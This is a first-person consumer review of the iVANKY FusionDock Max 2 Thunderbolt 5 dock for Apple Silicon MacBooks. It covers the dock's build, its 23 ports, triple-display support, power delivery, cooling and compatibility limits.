Table of contentsThe big picture: why Thunderbolt 5 mattersDesign, build, and first impressionsRobust and professionalPorts overview:Front-facing portsRear panel portsDisplay performance: native triple monitor without compromisesData transfer and everyday performancePower delivery and everyday usabilityCooling and stability over long sessionsLimitations and compatibilityWhen and who should buy thisFinal verdict: a dock that finally feels like a desktop hub



The big picture: why Thunderbolt 5 matters



Thunderbolt 5 is the cornerstone of what makes the FusionDock Max 2 special. Across the tech industry, Thunderbolt 5 pushes boundaries in bandwidth — up to 120 Gbps total throughput, which is nearly three times what Thunderbolt 4 offers. This extra headroom enables multiple high-resolution displays and high-speed data streams without compromise.



The FusionDock Max 2 uses Thunderbolt 5 not as a marketing tagline, but as the structural backbone of connectivity. From its triple-display output to native USB speeds and fast SSD transfers, this dock leans fully into the promises of next-gen bandwidth.







Importantly, this dock is purpose-built for Apple Silicon Macs — meaning it’s optimized for macOS workflows and chip capabilities. It doesn’t work with Windows PCs or Intel-based Macs. If you’re on an older Mac or non-Apple hardware, this isn’t the right product. But for M-series MacBook Pro owners, it unlocks capabilities that were previously only possible with external GPU enclosures or complex multi-dongle setups.



Design, build, and first impressions







Unboxing the FusionDock Max 2 immediately feels different. The packaging is premium, thoughtful, and reminiscent of Apple’s own accessory ethos. Everything — from the dock to the included cable kit — feels substantial.



The dock’s industrial aluminum body blends perfectly with modern MacBooks. It’s not flashy, but its minimalist design signals that this is a tool, not a toy. The device’s footprint is larger than most simple hubs, but that’s because it’s effectively replacing a desktop of adapters and cables with one hub.



Robust and professional







You’ll notice immediately that this isn’t a flimsy peripheral. The FusionDock Max 2 uses a hybrid thermal design with precision aluminum and copper alloys, which keeps temperatures lower than typical docks even under sustained load. Real-world testing shows surface heat can be up to 20 °C cooler than many competing Thunderbolt 5 docks. 



Despite having an active cooling fan, the dock runs entirely silently during everyday tasks — a huge plus for anyone working in quiet environments. I honestly didn’t realize there was a fan until I checked the specs.However, for professional audio users who cannot tolerate any operating noise at all, we recommend choosing the fanless FusionDock Max 1.



Ports overview:



One of the most impressive aspects of the FusionDock Max 2 is its sheer number of ports. With 23 total connections, it’s among the most versatile docks available. These include:



Front-facing ports




SD 4.0 card reader



microSD 4.0 card reader



3.5 mm audio jack



USB-C (10 Gbps, data)



USB-C with 30W PD charging support



USB-A (10 Gbps)



USB-A at 5Gbps



USB-A at 480Mbps.




Rear panel ports




Dual Thunderbolt 5 upstream host connectors



Three downstream Thunderbolt 5 ports



Two  USB-C (10 Gbps)



Multiple USB-A ports



HDMI output



2.5 Gb Ethernet



Optical audio output



DC power input



Kensington security slot




This combination gives users port density unmatched by most competitors. Some docks stop at 10–12 total ports. The FusionDock Max 2 doubles that while maintaining high-speed connectivity where it matters most. 



Real-world setup: more power, but a different mindset







Connecting the FusionDock Max 2 took me longer than usual. The dock includes a dual-cable host connection — essentially two USB-C plugs that sit next to each other on the MacBook’s Thunderbolt ports to unlock full bandwidth and triple monitor support.



At first, this threw me off. I expected one cable to be enough — it’s how single-cable docks work on Windows. I kept questioning if I had missed something. Only after reading the manual did I grasp the logic: this dock needs both cables to distribute Thunderbolt 5 bandwidth efficiently, especially for three native displays.



Once connected, everything lit up instantly with no driver installs or settings tweaks.



The only physical grievance I had was the tight space between the two host connectors. On my MacBook Pro, the spacing between ports is slightly smaller than the combined width of the two cables. That means when I plug both in, I feel slight pressure around the connectors. It doesn’t damage anything, but it feels firm enough that I pause for a moment each time — a minor but notable design friction point.



Display performance: native triple monitor without compromises



This is the part most Mac users care about: can it handle multiple monitors?







The simple answer: yes — with caveats tied to your Mac’s chip. Thunderbolt 5 and the dock’s architecture allow native triple external displays:




Two 6K displays at 60 Hz



One 4K display at 60 Hz



No DisplayLink drivers or hacks required




On my M2 Pro MacBook Pro, Apple’s platform limits external monitors to two, so I tested dual output extensively. Both 4K screens connected via Thunderbolt and HDMI worked without latency, flicker, or resolution weirdness. macOS recognized them instantly, and Mission Control spread itself seamlessly across the screens.



Even though I couldn’t test triple display because of my Mac’s limits, the dock’s specification and multiple independent reports from other users confirm that maximum output configurations work as advertised on higher-end Apple silicon chips. 



Multiple creators and reviewers online highlight that this dock may well be the first truly usable triple-display native Thunderbolt 5 solution for MacBooks, compared with competitors that rely on DisplayLink or patchwork solutions. That made me pause for a moment, as I’m now enticed to buy a third monitor that I don’t actually need, just to see what this bad baby can do. 



Data transfer and everyday performance







With three Thunderbolt 5 downstream ports each capable of full-bandwidth operation, and additional high-speed USB-C and USB-A ports, the FusionDock Max 2 handled everything I threw at it.



External SSDs transferred large video files without delay, photo libraries synced instantly, and network performance stayed strong with the 2.5 Gb Ethernet working hand-in-hand with my NAS units.



In my day-to-day workflow — switching between Finder file transfers, multitasking screens full of apps, and moving media between devices — I never felt bandwidth congestion. That’s exactly what Thunderbolt 5 was built for.



Power delivery and everyday usability



Power delivery makes a difference on long days. The dock supports up to 140 W charging for laptops. This ensures my 16-inch MacBook Pro never dipped below battery level during heavy usage while running dual displays and multiple peripherals. 



There’s also a dedicated front USB-C port with 30 W output, perfect for phones, tablets, and other accessories. That means your Mac doesn’t have to sacrifice charging speed just because you’ve connected a bunch of peripherals.



Cooling and stability over long sessions



Most compact docks throttle when pushed — particularly when driving multiple displays and heavy data transfer simultaneously. The FusionDock Max 2’s hybrid thermal system, including active cooling and optimized internal airflow, keeps heat under control. I’ve personally noticed significantly cooler surface temperatures compared with other Thunderbolt 5 docks that I’ve used. 



Over extended editing and multitasking sessions, the dock remained stable and cool, never signaling thermal throttling or performance dips.



A detail that genuinely impressed me: the physical power button. In a world where docks always draw standby power, the ability to shut it down at the end of the day feels intentionally designed. At the end of a work session, clicking “off,” unplugging the Mac, and walking away feels complete — a small but impactful user experience improvement.



Limitations and compatibility



This dock is incredibly capable, but it’s not for everyone:




Designed only for Apple Silicon MacBooks



Not compatible with PCs or Intel Macs



Requires two Thunderbolt ports to function




When and who should buy this



The FusionDock Max 2 is best for:




Creative professionals editing video/photo workflows



Developers needing multiple independent displays



Power users with busy desks full of peripherals



Anyone who wants native multi-monitor support without software drivers




It’s overkill if you just want a couple of USB ports and a single monitor. But if your work involves serious screen real estate and data throughput, it’s a dramatic upgrade.



Final verdict: a dock that finally feels like a desktop hub



The iVANKY FusionDock Max 2 delivers on nearly every promise it makes. It’s a true MacBook Dock with Thunderbolt 5 — not a watered-down hub disguised with buzzwords, but a device built around the performance needs of modern Mac users.



With robust design, expansive connectivity, silent cooling, and native multi-monitor support, it feels like the docking station Apple always should have supported.



In every way that counted — from build quality to daily performance, from display output to data speeds — this dock transformed my workflow and desk setup. It’s more than a connector; it’s the backbone of a productivity-focused desktop environment.



If you own a Thunderbolt 5 MacBook Pro and want to leave cable chaos behind, the FusionDock Max 2 deserves serious consideration.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,13ms -->